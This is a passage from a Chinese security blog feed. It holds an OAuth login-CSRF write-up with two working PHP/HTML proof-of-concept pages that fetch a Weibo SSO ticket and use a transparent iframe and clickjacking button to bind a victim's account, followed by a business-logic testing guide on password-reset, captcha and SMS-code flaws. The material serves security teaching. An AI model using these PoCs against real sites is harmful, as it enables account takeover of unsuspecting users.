id=\"\u573a\u666f1\u653b\u51fb\u6b65\u9aa4\">\u573a\u666f1.\u653b\u51fb\u6b65\u9aa4\uff1a<\/h4>\n\n<p>\u5bf9\u65b9\u70b9\u5f00\u51ed\u8bc1\u94fe\u63a5\u767b\u9646\u4e86\u4f60\u7684\u5fae\u535a\uff0c\u5bf9\u65b9\u70b9\u5f00\u7ed1\u5b9a\u5fae\u535a\u7684\u94fe\u63a5\uff0c\u7ed1\u5b9a\u4e86\u4f60\u7684\u5fae\u535a\uff0c\u5b8c\u6210\u653b\u51fb\u3002<\/p>\n\n<p>\u8003\u8651\u5230\u51ed\u8bc1\u65f6\u6548\u6027\u7684\u95ee\u9898\uff0c\u5728\u8fd9\u91cc\u5199\u4e86\u4e00\u4e2a\u52a8\u6001\u7684PoC\uff1a<\/p>\n\n<pre><code class=\"language-php\">&lt;?php\n\/\/get weibo login token\n$curl = curl_init();\n$cookie = \"\u4f60\u5fae\u535a\u7684Cookie\";\ncurl_setopt($curl, CURLOPT_URL, 'http:\/\/login.sina.com.cn\/sso\/crossdomain.php?action=login');\ncurl_setopt($curl, CURLOPT_HEADER, 1);\ncurl_setopt($curl, CURLOPT_COOKIE, $cookie);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n$data = curl_exec($curl);\ncurl_close($curl);\n\/\/echo $data;\n$t = preg_match('\/ticket=(.*?)&amp;sso\/', $data, $res);\n$url = \"https:\/\/passport.weibo.com\/wbsso\/login?ticket={$res[1]}&amp;ssosavestate=1556602678\";\n?&gt;\n\n&lt;html&gt;\n&lt;head&gt;\n&lt;style type=\"text\/css\"&gt; \n.testframe {\n\theight: 100%;\n} \niframe {\n\theight: 100%;\n\twidth: 100%;\n\tborder: 0;\n\tmargin: 0;\n\tpadding: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n&lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;div class=\"testframe\"&gt;\n\t&lt;iframe id=\"test0\" src=\"&lt;?php echo $url;?&gt;\"&gt;&lt;\/iframe&gt;\n&lt;\/div&gt;\n&lt;script&gt;\nfunction loadsrc(){\n    document.getElementById(\"test0\").src=\"https:\/\/gh0st.cn\/oauth\/weibo\/redirect\";\n}\nsetTimeout(\"loadsrc()\",2000);\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n<h4 id=\"\u573a\u666f2\u653b\u51fb\u6b65\u9aa4\">\u573a\u666f2.\u653b\u51fb\u6b65\u9aa4\uff1a<\/h4>\n\n<p>\u6709\u4e9b\u7f51\u7ad9\u53ef\u80fd\u662fpost\u8bf7\u6c42\u9650\u5236\u4e86referer\u6216\u8005\u6839\u672c\u6ca1\u6709\u8df3\u8f6c\u7684\u8bf7\u6c42\u800c\u662f\u76f4\u63a5\u8fdb\u5165\u4e86\u5fae\u535a\u7684\u7ed1\u5b9a\u754c\u9762\uff0c\u56e0\u4e3astate\u53c2\u6570\u7684\u539f\u56e0\u5bfc\u81f4\u6839\u672c\u65e0\u6cd5\u4ee5\u8fd9\u4e2a\u7ed1\u5b9a\u9875\u9762\u4e3a\u94fe\u63a5\u7684\u5f62\u5f0f\u53bb\u505a\u653b\u51fb~<\/p>\n\n<p>\u53ef\u80fd\u6709\u5f88\u591a\u670b\u53cb\u5c31\u6709\u7591\u95ee\u4e86\uff0c\u4e3a\u4ec0\u4e48\u6211\u8001\u662f\u63d0\u5230state\u53c2\u6570\uff1f\u8fd9\u4e2a\u53c2\u6570\u662f\u5e72\u4ec0\u4e48\u7528\u7684\u5462\uff1f\u8fd9\u91cc\u53c2\u8003\u4e0b\u5fae\u535a\u7684OAuth2.0\u63a5\u53e3\u7684\u5f00\u53d1\u6587\u6863\uff1a<\/p>\n\n<p>http:\/\/open.weibo.com\/wiki\/Oauth2\/authorize<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x09.png\" alt=\"0x09.png\" \/><\/p>\n\n<p>\u662f\u9632\u6b62CSRF\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u5728\u8fd9\u91cc\u5982\u679c\u7ed1\u5b9a\u7684\u94fe\u63a5\u662f\u5982\u4e0b\u8fd9\u6837\u5b50\u7684\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x10.png\" alt=\"0x10.png\" \/><\/p>\n\n<p>\u6ca1\u6709state\u53c2\u6570\u9a8c\u8bc1\u7684\uff0c\u90a3\u4e48\u4f60\u53ef\u4ee5\u76f4\u63a5\u4ee5\u6b64\u4f5c\u4e3a\u7ed1\u5b9a\u94fe\u63a5\uff0c<strong>\u8986\u76d6\u573a\u666f1\u4e2dPoC\u91cc\u9762\u7684\u8fd9\u4e2a\u94fe\u63a5<\/strong>:<code>https:\/\/gh0st.cn\/oauth\/weibo\/redirect<\/code><\/p>\n\n<p>\u597d\u4e86\uff0c\u8bf4\u4e86\u90a3\u4e48\u591a\u8ddf\u573a\u666f2\u6ca1\u7528\u7684\u8bdd\uff0c\u5207\u5165\u4e3b\u9898\u6765\u8bf4\u8bf4\u573a\u666f2\u7684\u60c5\u51b5\u5230\u5e95\u8be5\u5982\u4f55\u5b8c\u6210\u653b\u51fb\uff1f<\/p>\n\n<p>\u5f88\u7b80\u5355\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u70b9\u51fb\u52ab\u6301\u6765\u5b8c\u6210\u653b\u51fb\uff0c\u5982\u4e0b\u52a8\u6001\u7684PoC\uff1a<\/p>\n\n<pre><code class=\"language-php\">&lt;?php\n\/\/get weibo login token\n$curl = curl_init();\n$cookie = \"\u4f60\u5fae\u535a\u7684Cookie\";\ncurl_setopt($curl, CURLOPT_URL, 'http:\/\/login.sina.com.cn\/sso\/crossdomain.php?action=login');\ncurl_setopt($curl, CURLOPT_HEADER, 1);\ncurl_setopt($curl, CURLOPT_COOKIE, $cookie);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n$data = curl_exec($curl);\ncurl_close($curl);\n\/\/echo $data;\n$t = preg_match('\/ticket=(.*?)&amp;sso\/', $data, $res);\n$url = \"https:\/\/passport.weibo.com\/wbsso\/login?ticket={$res[1]}&amp;ssosavestate=1556602678\";\n?&gt;\n\n&lt;html&gt;\n&lt;head&gt;\n&lt;style type=\"text\/css\"&gt; \n.testframe {\n\theight: 100%;\n} \niframe {\n\theight: 100%;\n\twidth: 100%;\n\tborder: 0;\n\tmargin: 0;\n\tpadding: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n.btn {\n    position: fixed;\n    width: 70px;\n    height: 22px;\n    left: 167px;\n    right: 0;\n    display:block;\n    top: 295px;\n} \n&lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;div class=\"testframe\"&gt;\n    &lt;input type=\"button\" class=\"btn\" value=\"Click\"&gt;\n\t&lt;iframe id=\"test0\" src=\"&lt;?php echo $url;?&gt;\"&gt;&lt;\/iframe&gt;\n&lt;\/div&gt;\n&lt;script&gt;\nfunction loadsrc(){\n\tdocument.getElementById(\"test0\").src=\"https:\/\/gh0st.cn\/usercenter\/ubind\";\n}\nsetTimeout(\"loadsrc()\",2000);\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n<p>\u7b80\u5355\u7684\u8bf4\u660e\u4e0b\u8fd9\u4e2aPoC\u7684\u7528\u5904\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x11.png\" alt=\"0x11.png\" \/><\/p>\n\n<h2 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h2>\n\n<p>\u53ef\u80fd\u628a\u6bcf\u4e00\u9879\u5355\u72ec\u7684\u62ce\u51fa\u6765\u4f1a\u53d1\u73b0\u8fd9\u5e76\u6ca1\u6709\u7f3a\u9677\uff0c\u4f46\u662f\u4e00\u65e6\u53c2\u4e0e\u5230\u4e86\u4e1a\u52a1\u903b\u8f91\u4e2d\uff0c\u5c31\u4e00\u5b9a\u4f1a\u5b58\u5728\u4e00\u5b9a\u7684\u95ee\u9898\u3002<\/p>\n\n<p>\u4e0d\u8981\u770b\u4e0d\u8d77\u4e00\u4e2a\u770b\u4f3c\u6ca1\u5371\u5bb3\u7684\u6f0f\u6d1e\u751a\u81f3\u4e00\u4e2a\u7f3a\u9677\uff0c\u56e0\u4e3a\u4f60\u6c38\u8fdc\u4e0d\u77e5\u9053\u5b83\u80fd\u53d1\u6325\u7684\u5de8\u5927\u5371\u5bb3\u3002<\/p>\n","pubDate":"2018-04-28T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-04-28\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-04-28\/1"},{"title":"Web\u5b89\u5168\u6d4b\u8bd5\u5b66\u4e60\u624b\u518c-\u4e1a\u52a1\u903b\u8f91\u6d4b\u8bd5","description":"<p>\u9996\u5148\u611f\u8c22\u670b\u53cb\u503e\u7487\u7684\u9080\u8bf7 http:\/\/payloads.online\/archivers\/2018-03-21\/1 \uff0c\u53c2\u4e0e\u4e86<web\u5b89\u5168\u6d4b\u8bd5\u5b66\u4e60\u624b\u518c>\u7684\u76f8\u5173\u64b0\u5199\uff0c\u76ee\u524d\u8d1f\u8d23\u4e1a\u52a1\u903b\u8f91\u6d4b\u8bd5\u8fd9\u4e00\u5757\u7684\u64b0\u5199\uff0c\u76ee\u524d\u521d\u6b65\u5df2\u7ecf\u6210\u578b\uff0c\u5148\u53d1\u51fa\u6765\u8ba9\u5927\u5bb6\u770b\u770b\uff0c\u6b22\u8fce\u70b9\u8bc4\uff0c\u4e5f\u53ef\u4ee5\u52a0\u5165\u6211\u4eec\u4e00\u8d77\u6765\u64b0\u5199~<\/web\u5b89\u5168\u6d4b\u8bd5\u5b66\u4e60\u624b\u518c><\/p>\n\n<h1 id=\"\u4e1a\u52a1\u903b\u8f91\u6d4b\u8bd5\">\u4e1a\u52a1\u903b\u8f91\u6d4b\u8bd5<\/h1>\n\n<p>\u4ecb\u7ecd\uff1a\u8fd9\u91cc\u5bf9Web\u5e94\u7528\u4e1a\u52a1\u903b\u8f91\u65b9\u9762\u7684\u5b89\u5168\u7f3a\u9677\u8fdb\u884c\u4ecb\u7ecd\u548c\u5e38\u89c1\u6848\u4f8b\u8bb2\u89e3\u3002\n<!-- more --><\/p>\n\n<h2 id=\"\u4efb\u610f\u7528\u6237\u5bc6\u7801\u91cd\u7f6e\">\u4efb\u610f\u7528\u6237\u5bc6\u7801\u91cd\u7f6e<\/h2>\n\n<h3 id=\"\u5e38\u89c1\u7684\u7f3a\u9677\">\u5e38\u89c1\u7684\u7f3a\u9677<\/h3>\n\n<h4 id=\"-1\u9a8c\u8bc1\u7801\u7c7b\u7f3a\u9677\">* 1.\u9a8c\u8bc1\u7801\u7c7b\u7f3a\u9677<\/h4>\n\n<p>-\u573a\u666f\uff1a\n1.1 \u9a8c\u8bc1\u7801\u56de\u663e\u5728\u5ba2\u6237\u7aef(\u54cd\u5e94\u4e3b\u4f53\u3001Set-Cookie\u7b49\u7b49\u2026)\u3002<\/p>\n\n<p>1.2 \u9a8c\u8bc1\u7801\u8fc7\u4e8e\u7b80\u6613\u65f6\u6548\u6027\u8fc7\u957f\uff0c\u63a5\u53e3\u672a\u505a\u9650\u5236(\u4e00\u822c\u4e3a\u7eaf\u6570\u5b574-8\u4f4d\u6570\uff0c\u65f6\u6548\u6027\u957f\u8fbe30\u5206\u949f\u4ee5\u4e0a\u53ef\u4ee5\u5bf9\u9a8c\u8bc1\u7801\u8fdb\u884c\u679a\u4e3e)\u3002<\/p>\n\n<h4 id=\"-2\u672a\u6821\u9a8c\u6743\u9650\u524d\u7aef\u6821\u9a8c\u8d8a\u6743\">* 2.\u672a\u6821\u9a8c\u6743\u9650\/\u524d\u7aef\u6821\u9a8c\/\u8d8a\u6743<\/h4>\n\n<p>-\u573a\u666f\uff1a\n2.1 \u4efb\u610f\u624b\u673a\u53f7\u9a8c\u8bc1\u7801\u90fd\u53ef\u91cd\u7f6e\u4efb\u610f\u8d26\u53f7\u3002<\/p>\n\n<p>2.2 \u4fee\u6539\u54cd\u5e94\u5305\u7684\u4e3b\u4f53(\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u6765\u4fee\u6539 \u4f8b\u5982\u9a8c\u8bc1\u8bf7\u6c42\u5bf9\u5e94\u7684\u54cd\u5e94\u62a5\u6587\u7684\u4e3b\u4f53\u4e3a<code>false<\/code> \u4f60\u53ef\u4ee5\u4fee\u6539\u4e3a<code>true<\/code>)\u3002<\/p>\n\n<p>2.3 \u540c\u4e00\u6d4f\u89c8\u5668\u8fdb\u5165A\u7528\u6237\u7684\u91cd\u7f6e\uff0c\u7136\u540e\u5173\u95ed\u518d\u8fdb\u5165B\u7528\u6237\u7684\u91cd\u7f6e \u800c\u5b9e\u9645\u4e0a\u91cd\u7f6eA\u7528\u6237\u3002<\/p>\n\n<p>2.4 \u4fee\u6539\u91cd\u7f6e\u5bc6\u7801\u7684\u76f8\u5173\u53c2\u6570(\u4f8b\u5982 userid\u7b49\u7b49\u2026)\u3002<\/p>\n\n<h4 id=\"-3host\u5934\u4f2a\u9020\">* 3.HOST\u5934\u4f2a\u9020<\/h4>\n\n<p>-\u573a\u666f\uff1a\n3.1 \u5728\u90ae\u7bb1\u627e\u56de\u5bc6\u7801\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u7b80\u5355\u66ff\u6362Host\u90e8\u5206\u8fdb\u884cFuzz\uff0c\u770b\u770b\u627e\u56de\u5bc6\u7801\u7684\u94fe\u63a5\u4e2d\u7684\u57df\u540d\u662f\u5426\u662f\u6839\u636eHost\u6765\u751f\u6210\u7684\u5982\u679c\u662f\u53ef\u4ee5\u66ff\u6362\u6210\u81ea\u5df1\u7684\u57df\u540d\u3002\u4f46\u662f\u8fd9\u79cd\u601d\u8def\u5f88\u9e21\u808b\uff0c\u56e0\u4e3a\u9700\u8981\u7528\u6237\u7684\u70b9\u51fb\uff0c\u8fd9\u6837\u624d\u53ef\u4ee5\u6839\u636e\u65e5\u5fd7\u770b\u5230\u91cd\u7f6e\u5bc6\u7801\u7684\u94fe\u63a5\uff0c\u4e07\u4e00\u91cd\u7f6e\u5bc6\u7801\u7684\u94fe\u63a5\u65f6\u6548\u6027\u8fc7\u53bb\u5c31\u65e0\u5948\u4e86\u3002<\/p>\n\n<h4 id=\"-4\u627e\u56de\u5bc6\u7801\u7684\u51ed\u8bc1\u8106\u5f31\">* 4.\u627e\u56de\u5bc6\u7801\u7684\u51ed\u8bc1\u8106\u5f31<\/h4>\n\n<p>-\u573a\u666f\uff1a\n4.1 \u89c1\u8fc7\u6700\u591a\u7684\u662f\u627e\u56de\u5bc6\u7801\u7684token\u662fbase64\u7f16\u7801\u7684\uff0c\u800c\u89e3\u7801\u540e\u7684\u660e\u6587\u6839\u636e\u5176\u89c4\u5219\u4fee\u6539\u5c31\u53ef\u4ee5\u6210\u4e3a\u522b\u4eba\u7528\u6237\u627e\u56de\u5bc6\u7801\u7684\u51ed\u8bc1\u4e86\u3002<\/p>\n\n<h2 id=\"\u9a8c\u8bc1\u7801\u7ed5\u8fc7\">\u9a8c\u8bc1\u7801\u7ed5\u8fc7<\/h2>\n\n<h3 id=\"\u5e38\u89c1\u7684\u7f3a\u9677-1\">\u5e38\u89c1\u7684\u7f3a\u9677<\/h3>\n\n<h4 id=\"\u56fe\u5f62\u7c7b\u9a8c\u8bc1\u7801\u7ed5\u8fc7\">\u56fe\u5f62\u7c7b\u9a8c\u8bc1\u7801\u7ed5\u8fc7<\/h4>\n\n<h5 id=\"-1\u56fe\u5f62\u9a8c\u8bc1\u7801\u53ef\u590d\u7528\">* 1.\u56fe\u5f62\u9a8c\u8bc1\u7801\u53ef\u590d\u7528<\/h5>\n\n<p>-\u573a\u666f\uff1a\n3.1 \u9a8c\u8bc1\u7801\u5237\u65b0\u4e4b\u540e\uff0c\u800c\u5386\u53f2\u5237\u65b0\u7684\u9a8c\u8bc1\u7801\u8fd8\u662f\u53ef\u4ee5\u7ee7\u7eed\u4f7f\u7528\u3002<\/p>\n\n<p>3.2 \u9a8c\u8bc1\u7801\u4f7f\u7528\u8fc7\u540e\u4e0d\u5237\u65b0\uff0c\u65f6\u6548\u6027\u4e0d\u8fc7\u671f\uff0c\u53ef\u4ee5\u4e00\u76f4\u590d\u7528\u3002<\/p>\n\n<h5 id=\"-2\u56fe\u5f62\u9a8c\u8bc1\u7801\u6613\u8bc6\u522b\">* 2.\u56fe\u5f62\u9a8c\u8bc1\u7801\u6613\u8bc6\u522b<\/h5>\n\n<p>-\u573a\u666f\n4.1 \u5f88\u591a\u9a8c\u8bc1\u7801\u7684\u663e\u793a\u5f88\u7b80\u5355\uff0c\u5bb9\u6613\u88ab\u673a\u5668\u8bc6\u522b\u3002<\/p>\n\n<h4 id=\"\u77ed\u4fe1\u7c7b\u9a8c\u8bc1\u7801\u7ed5\u8fc7\">\u77ed\u4fe1\u7c7b\u9a8c\u8bc1\u7801\u7ed5\u8fc7<\/h4>\n\n<h5 id=\"-1\u9a8c\u8bc1\u7801\u8fc7\u4e8e\u7b80\u6613\u63a5\u53e3\u672a\u9650\u5236\">* 1.\u9a8c\u8bc1\u7801\u8fc7\u4e8e\u7b80\u6613&amp;\u63a5\u53e3\u672a\u9650\u5236<\/h5>\n\n<p>-\u573a\u666f\uff1a\n1.1 \u6709\u4e9b\u624b\u673a\u77ed\u4fe1\u9a8c\u8bc1\u7801\u90fd\u4e3a 4-8\u4f4d \u7eaf\u6570\u5b57\u7684\u9a8c\u8bc1\u7801\uff0c\u5728\u63a5\u53e3\u6ca1\u6709\u4efb\u4f55\u9650\u5236\u7684\u60c5\u51b5\u4e0b\u662f\u53ef\u4ee5\u76f4\u63a5\u7206\u7834\u7684\u3002<\/p>\n\n<h5 id=\"-2\u9a8c\u8bc1\u7801\u53d1\u9001\u590d\u7528\u65f6\u6548\u6027\u8fc7\u957f\u63a5\u53e3\u672a\u9650\u5236\">* 2.\u9a8c\u8bc1\u7801\u53d1\u9001\u590d\u7528&amp;\u65f6\u6548\u6027\u8fc7\u957f&amp;\u63a5\u53e3\u672a\u9650\u5236<\/h5>\n\n<p>-\u573a\u666f\uff1a\n2.1 6\u4f4d\u6570\u9a8c\u8bc1\u7801\u65f6\u6548\u6027\u4e3a5\u5206\u949f\uff0c\u4f46\u662f\u5728\u8fd9\u91cc\u540c\u4e00\u624b\u673a\u53f7\u53d1\u9001\u7684\u9a8c\u8bc1\u7801\u90fd\u662f\u4e00\u6837\u7684\uff0c\u6240\u4ee5\u53ef\u4ee5\u57284\u5206\u949f\u7684\u65f6\u5019\u91cd\u65b0\u53d1\u9001\u4e00\u6b21\u9a8c\u8bc1\u7801\u8fd9\u6837\u9a8c\u8bc1\u7801\u5c31\u53c8\u6709\u6548\u4e86\uff0c\u56e0\u4e3a\u9a8c\u8bc1\u7801\u4e00\u76f4\u5728\u88ab\u590d\u7528\uff0c\u6240\u4ee5\u53ef\u4ee5\u7206\u7834\u3002<\/p>\n\n<h5 id=\"-3\u4e07\u80fd\u9a8c\u8bc1\u7801\">* 3.\u4e07\u80fd\u9a8c\u8bc1\u7801<\/h5>\n\n<p>-\u573a\u666f\uff1a\n3.1 \u8fd9\u662f\u5f88\u591a\u5927\u4f01\u4e1a\u7684\u8bdf\u75c5\uff0c\u5728\u672a\u4e0a\u7ebf\u524d\u4e3a\u4e86\u65b9\u4fbf\u6d4b\u8bd5\u52a0\u4e86<code>888888<\/code>\u3001<code>000000<\/code>\u8fd9\u6837\u7684\u4e07\u80fd\u9a8c\u8bc1\u7801\u4f46\u662f\u4e0a\u7ebf\u540e\u6ca1\u53bb\u5220\u9664\u6d4b\u8bd5\u7684\u5185\u5bb9\u5bfc\u81f4\u88ab\u6076\u610f\u5229\u7528\u3002<\/p>\n\n<h2 id=\"\u77ed\u4fe1\u8bed\u97f3\u9a8c\u8bc1\u7801\u91cd\u653e\">\u77ed\u4fe1\/\u8bed\u97f3\u9a8c\u8bc1\u7801\u91cd\u653e<\/h2>\n\n<p>\u65e0\u8bba\u662f\u53d1\u9001\u77ed\u4fe1\u8fd8\u662f\u8bed\u97f3\u9a8c\u8bc1\u7801\u6765\u505a\u9a8c\u8bc1\uff0c\u90fd\u662f\u9700\u8981\u624b\u673a\u53f7\u7684\uff0c\u800c\u53d1\u9001\u9a8c\u8bc1\u7801\u5b9e\u9645\u4e0a\u662f\u9700\u8981\u6210\u672c\u7684\uff0c\u9700\u8981\u8ddf\u8fd0\u8425\u5546\u6216\u8005\u662f\u7b2c\u4e09\u65b9\u9a8c\u8bc1\u7801\u5e73\u53f0\u8fdb\u884c\u5408\u4f5c\uff0c\u591a\u6570\u9a8c\u8bc1\u7801\u4e3a0.01\u5143\u4e00\u6761\uff0c\u5f53\u7136\u4e5f\u6709\u66f4\u4fbf\u5b9c\u7684\uff0c\u6240\u4ee5\u8fd9\u8fb9\u7684\u95ee\u9898\u4e5f\u4f1a\u5f71\u54cd\u5230\u4e00\u4e2a\u4f01\u4e1a\u7684\u8d44\u4ea7\u65b9\u9762\u3002<\/p>\n\n<h3 id=\"\u5e38\u89c1\u7f3a\u9677\">\u5e38\u89c1\u7f3a\u9677<\/h3>\n\n<h4 id=\"-1\u65e0\u9650\u5236\u53d1\u9001\">* 1.\u65e0\u9650\u5236\u53d1\u9001<\/h4>\n\n<p>-\u573a\u666f\uff1a\n1.1 \u5382\u5546\u5bf9\u9a8c\u8bc1\u7801\u53d1\u9001\u8fd9\u4e00\u5757\u5e76\u6ca1\u6709\u8fdb\u884c\u9650\u5236\u65f6\u95f4\u53d1\u9001<\/p>\n\n<h4 id=\"-2\u4ee3\u7801\u5c42\u903b\u8f91\u6821\u9a8c\u95ee\u9898\">* 2.\u4ee3\u7801\u5c42\u903b\u8f91\u6821\u9a8c\u95ee\u9898<\/h4>\n\n<p>-\u573a\u666f\uff1a\n2.1 \u5f88\u591a\u5382\u5546\u4f1a\u5bf9\u624b\u673a\u53f7\u8fdb\u884c\u9650\u5236\uff0c\u5982\u679c60\u79d2\u5185\u53d1\u9001\u8fc7\u5c31\u4e0d\u4f1a\u53d1\u9001\uff0c\u4f46\u662f\u7a0b\u5e8f\u5458\u5728\u8bbe\u8ba1\u4ee3\u7801\u5c42\u7684\u903b\u8f91\u65f6\u4f1a\u51fa\u73b0\u5f88\u591a\u5947\u8469\u7684\u95ee\u9898\uff0c\u4f8b\u5982\u5176\u4e3a\u4e86\u65b9\u4fbf\u7528\u6237\u4f53\u9a8c\uff0c\u6b63\u5e38\u7684\u4ee3\u7801\u5c42\u7684\u6d41\u7a0b\u4e3a\uff1a<\/p>\n\n<p><code>a.\u53bb\u9664\u7528\u6237\u624b\u8bef\u8f93\u5165\u7684\u7a7a\u683c\u4ee5\u53ca\u4e00\u4e9b\u7279\u6b8a\u7b26\u53f7<\/code><\/p>\n\n<p><code>b.\u9a8c\u8bc1\u624b\u673a\u53f7\u662f\u5426\u53d1\u9001\u8fc7\u9a8c\u8bc1\u7801<\/code><\/p>\n\n<p>\u67d0\u4e9b\u7a0b\u5e8f\u5458\u4f1a\u8fd9\u6837\u8bbe\u8ba1\u6d41\u7a0b\uff1a<\/p>\n\n<p><code>a.\u9a8c\u8bc1\u624b\u673a\u53f7\u662f\u5426\u53d1\u9001\u8fc7\u9a8c\u8bc1\u7801\uff08\u53d1\u9001\u8fc7\u5219\u4e0d\u653e\u884c \u6ca1\u53d1\u9001\u8fc7\u5219\u8fdb\u5165\u4e0b\u4e00\u6b65\uff09<\/code><\/p>\n\n<p><code>b.\u53bb\u9664\u7528\u6237\u624b\u8bef\u8f93\u5165\u7684\u7a7a\u683c\u4ee5\u53ca\u4e00\u4e9b\u7279\u6b8a\u7b26\u53f7<\/code><\/p>\n\n<p><code>c.\u53d1\u9001\u624b\u673a\u53f7\u9a8c\u8bc1\u7801<\/code><\/p>\n\n<h4 id=\"-3\u624b\u673a\u53f7\u53ef\u904d\u5386\u53d1\u9001\">* 3.\u624b\u673a\u53f7\u53ef\u904d\u5386\u53d1\u9001<\/h4>\n\n<p>-\u573a\u666f\uff1a\n3.1 \u6211\u4e4b\u524d\u6709\u63d0\u5230\u9a8c\u8bc1\u7801\u53d1\u9001\u4f1a\u5f71\u54cd\u5230\u4f01\u4e1a\u8d44\u4ea7\uff0c\u90a3\u4e48\u53d1\u9001\u9a8c\u8bc1\u7801\u9650\u5236\u5c31\u4e0d\u80fd\u4ec5\u4ec5\u9488\u5bf9\u4e8e\u5355\u4e00\u624b\u673a\u53f7\u7684\u9650\u5236\uff0c\u4f8b\u5982\u6211\u53ef\u4ee5\u8f7d\u5165\u4e00\u5806\u624b\u673a\u53f7\u7684\u5b57\u5178\uff0c\u7136\u540e\u76f4\u63a5\u904d\u5386\u53d1\u9001\u9a8c\u8bc1\u7801\uff0c\u8fd9\u4e5f\u662f\u5371\u5bb3\u4e4b\u4e00\u3002<\/p>\n\n<h2 id=\"\u4e1a\u52a1\u6d41\u7a0b\u7ed5\u8fc7\">\u4e1a\u52a1\u6d41\u7a0b\u7ed5\u8fc7<\/h2>\n\n<h3 id=\"\u5e38\u89c1\u7f3a\u9677-1\">\u5e38\u89c1\u7f3a\u9677<\/h3>\n\n<h5 id=\"-1\u65e0\u9a8c\u8bc1\u6b65\u9aa4\u8df3\u8dc3\">* 1.\u65e0\u9a8c\u8bc1\u6b65\u9aa4\u8df3\u8dc3<\/h5>\n\n<p>-\u573a\u666f\uff1a\n1.1 \u51fa\u73b0\u7684\u573a\u666f\u5f88\u591a\uff1a\u5bc6\u7801\u91cd\u7f6e\u6b65\u9aa4\u3001\u652f\u4ed8\u6b65\u9aa4\uff0c\u5bf9\u4e8e\u8fd9\u79cd\u7684\u6d4b\u8bd5\u65b9\u6cd5\u6709\u5f88\u591a\u4e2d\uff1a<\/p>\n\n<p>a.\u5bf9\u6bd4\u6cd5\uff0c\u4f7f\u7528A\u3001B\u4e24\u4e2a\u8d26\u53f7\uff0cA\u8d26\u53f7\u5148\u6b63\u5e38\u8d70\u4e00\u904d\u6d41\u7a0b\uff0c\u7136\u540e\u8bb0\u5f55\u6d41\u7a0b\u7684\u8bf7\u6c42\u62a5\u6587\u8ddf\u54cd\u5e94\u62a5\u6587\uff0c\u4f7f\u7528B\u8d26\u53f7\u6765\u6d4b\u8bd5\u662f\u5426\u80fd\u7ed5\u8fc7\u76f4\u63a5\u8fdb\u5165\u6700\u540e\u4e00\u6b65\u9aa4\u3002<\/p>\n\n<p>b.\u7b2c\u516d\u611f\uff0c\u5047\u8bbe\u6b65\u9aa41\u7684\u7f51\u5740\u4e3a:<code>http:\/\/www.test.com\/step1<\/code>\uff0c\u8fd9\u65f6\u5019\u4f60\u53ef\u4ee5\u51ed\u501f\u4f60\u7684\u7b2c\u516d\u611f\u4fee\u6539\u4e0b\u94fe\u63a5\u4e3a<code>\/step2<\/code>\u4e4b\u7c7b\u7684\u6765\u6d4b\u8bd5\u3002<\/p>\n\n<h2 id=\"\u52a0\u5bc6\u7b97\u6cd5\u8106\u5f31\">\u52a0\u5bc6\u7b97\u6cd5\u8106\u5f31<\/h2>\n\n<h3 id=\"\u5e38\u89c1\u7f3a\u9677-2\">\u5e38\u89c1\u7f3a\u9677<\/h3>\n\n<h4 id=\"-1\u524d\u7aef\u5448\u73b0\u52a0\u5bc6\u7b97\u6cd5\u4ee3\u7801\">* 1.\u524d\u7aef\u5448\u73b0\u52a0\u5bc6\u7b97\u6cd5\u4ee3\u7801<\/h4>\n\n<p>-\u573a\u666f\uff1a\n1.1 